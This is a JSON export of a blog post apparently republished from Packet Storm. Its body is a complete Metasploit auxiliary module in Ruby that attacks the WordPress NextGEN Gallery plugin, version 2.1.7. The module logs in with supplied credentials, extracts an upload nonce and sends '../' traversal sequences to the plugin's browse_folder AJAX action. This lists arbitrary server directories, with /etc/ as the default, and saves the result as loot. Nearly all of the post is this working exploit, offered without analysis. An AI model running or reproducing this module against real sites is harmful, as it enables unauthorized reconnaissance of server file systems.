{"id":59384,"date":"2024-09-01T23:40:39","date_gmt":"2024-09-01T20:40:39","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181205\/wp_nextgen_galley_file_read.rb.txt"},"modified":"2024-09-01T23:40:39","modified_gmt":"2024-09-01T20:40:39","slug":"wordpress-nextgen-gallery-directory-read","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-nextgen-gallery-directory-read\/","title":{"rendered":"WordPress NextGEN Gallery Directory Read"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;json&#8217;<br \/>require &#8216;nokogiri&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;WordPress NextGEN Gallery Directory Read Vulnerability&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an authenticated directory traversal vulnerability<br \/>in WordPress Plugin &#8220;NextGEN Gallery&#8221; version 2.1.7, allowing<br \/>to read arbitrary directories with the web server privileges.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;WPVDB&#8217;, &#8216;8165&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/permalink.gmane.org\/gmane.comp.security.oss.general\/17650&#8217;]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Sathish Kumar&#8217;, # Vulnerability Discovery<br \/>&#8216;Roberto Soares Espreto &lt;robertoespreto[at]gmail.com&gt;&#8217; # Metasploit Module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;WP_USER&#8217;, [true, &#8216;A valid username&#8217;, nil]),<br \/>OptString.new(&#8216;WP_PASS&#8217;, [true, &#8216;Valid password for the provided username&#8217;, nil]),<br \/>OptString.new(&#8216;DIRPATH&#8217;, [true, &#8216;The path to the directory to read&#8217;, &#8216;\/etc\/&#8217;]),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [ true, &#8216;Traversal Depth (to reach the root folder)&#8217;, 7 ])<br \/>])<br \/>end<\/p>\n<p>def user<br \/>datastore[&#8216;WP_USER&#8217;]end<\/p>\n<p>def password<br \/>datastore[&#8216;WP_PASS&#8217;]end<\/p>\n<p>def check<br \/>check_plugin_version_from_readme(&#8216;nextgen-gallery&#8217;, &#8216;2.1.9&#8217;)<br \/>end<\/p>\n<p>def get_nonce(cookie)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(wordpress_url_backend, &#8216;admin.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;page&#8217; =&gt; &#8216;ngg_addgallery&#8217;<br \/>},<br \/>&#8216;cookie&#8217; =&gt; cookie<br \/>)<\/p>\n<p>if res &amp;&amp; res.redirect? &amp;&amp; res.redirection<br \/>location = res.redirection<br \/>print_status(&#8220;Following redirect to #{location}&#8221;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; location,<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;cookie&#8217; =&gt; cookie<br \/>)<br \/>end<\/p>\n<p>res.body.scan(\/var browse_params = {&#8220;nextgen_upload_image_sec&#8221;:&#8221;(.+)&#8221;};\/).flatten.first<br \/>end<\/p>\n<p>def parse_paths(res)<br \/>begin<br \/>j = JSON.parse(res.body)<br \/>rescue JSON::ParserError =&gt; e<br \/>elog(e)<br \/>return []end<\/p>\n<p>html = j[&#8216;html&#8217;]noko = Nokogiri::HTML(html)<br \/>links = noko.search(&#8216;a&#8217;)<br \/>links.collect { |e| normalize_uri(&#8220;#{datastore[&#8216;DIRPATH&#8217;]}\/#{e.text}&#8221;) }<br \/>end<\/p>\n<p>def run_host(ip)<br \/>vprint_status(&#8220;Trying to login as: #{user}&#8221;)<br \/>cookie = wordpress_login(user, password)<br \/>if cookie.nil?<br \/>print_error(&#8220;Unable to login as: #{user}&#8221;)<br \/>return<br \/>end<br \/>store_valid_credential(user: user, private: password, proof: cookie)<\/p>\n<p>vprint_status(&#8220;Trying to get nonce&#8230;&#8221;)<br \/>nonce = get_nonce(cookie)<br \/>if nonce.nil?<br \/>print_error(&#8220;Can not get nonce after login&#8221;)<br \/>return<br \/>end<br \/>vprint_status(&#8220;Got nonce: #{nonce}&#8221;)<\/p>\n<p>traversal = &#8220;..\/&#8221; * datastore[&#8216;DEPTH&#8217;]filename = datastore[&#8216;DIRPATH&#8217;]filename = filename[1, filename.length] if filename =~ \/^\\\/\/<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Referer&#8217; =&gt; &#8220;http:\/\/#{rhost}\/wordpress\/wp-admin\/admin.php?page=ngg_addgallery&#8221;,<br \/>&#8216;X-Requested-With&#8217; =&gt; &#8216;XMLHttpRequest&#8217;<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;photocrati_ajax&#8217; =&gt; &#8216;1&#8217;<br \/>},<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;nextgen_upload_image_sec&#8217; =&gt; &#8220;#{nonce}&#8221;,<br \/>&#8216;action&#8217; =&gt; &#8216;browse_folder&#8217;,<br \/>&#8216;dir&#8217; =&gt; &#8220;#{traversal}#{filename}&#8221;<br \/>},<br \/>&#8216;cookie&#8217; =&gt; cookie<br \/>)<\/p>\n<p>if res &amp;&amp; res.code == 200<\/p>\n<p>paths = parse_paths(res)<br \/>vprint_line(paths * &#8220;\\n&#8221;)<\/p>\n<p>fname = datastore[&#8216;DIRPATH&#8217;]path = store_loot(<br \/>&#8216;nextgen.traversal&#8217;,<br \/>&#8216;text\/plain&#8217;,<br \/>ip,<br \/>paths * &#8220;\\n&#8221;,<br \/>fname<br \/>)<\/p>\n<p>print_good(&#8220;File saved in: #{path}&#8221;)<br \/>else<br \/>print_error(&#8220;Nothing was downloaded. You can try to change the DIRPATH.&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;json&#8217;require &#8216;nokogiri&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HTTP::Wordpressinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;WordPress NextGEN Gallery Directory Read Vulnerability&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an authenticated directory traversal vulnerabilityin WordPress Plugin &#8220;NextGEN Gallery&#8221; version 2.1.7, allowingto read arbitrary directories with the web server privileges.},&#8216;References&#8217; =&gt;[[&#8216;WPVDB&#8217;, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59384","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59384"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59384\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59384"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59384"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}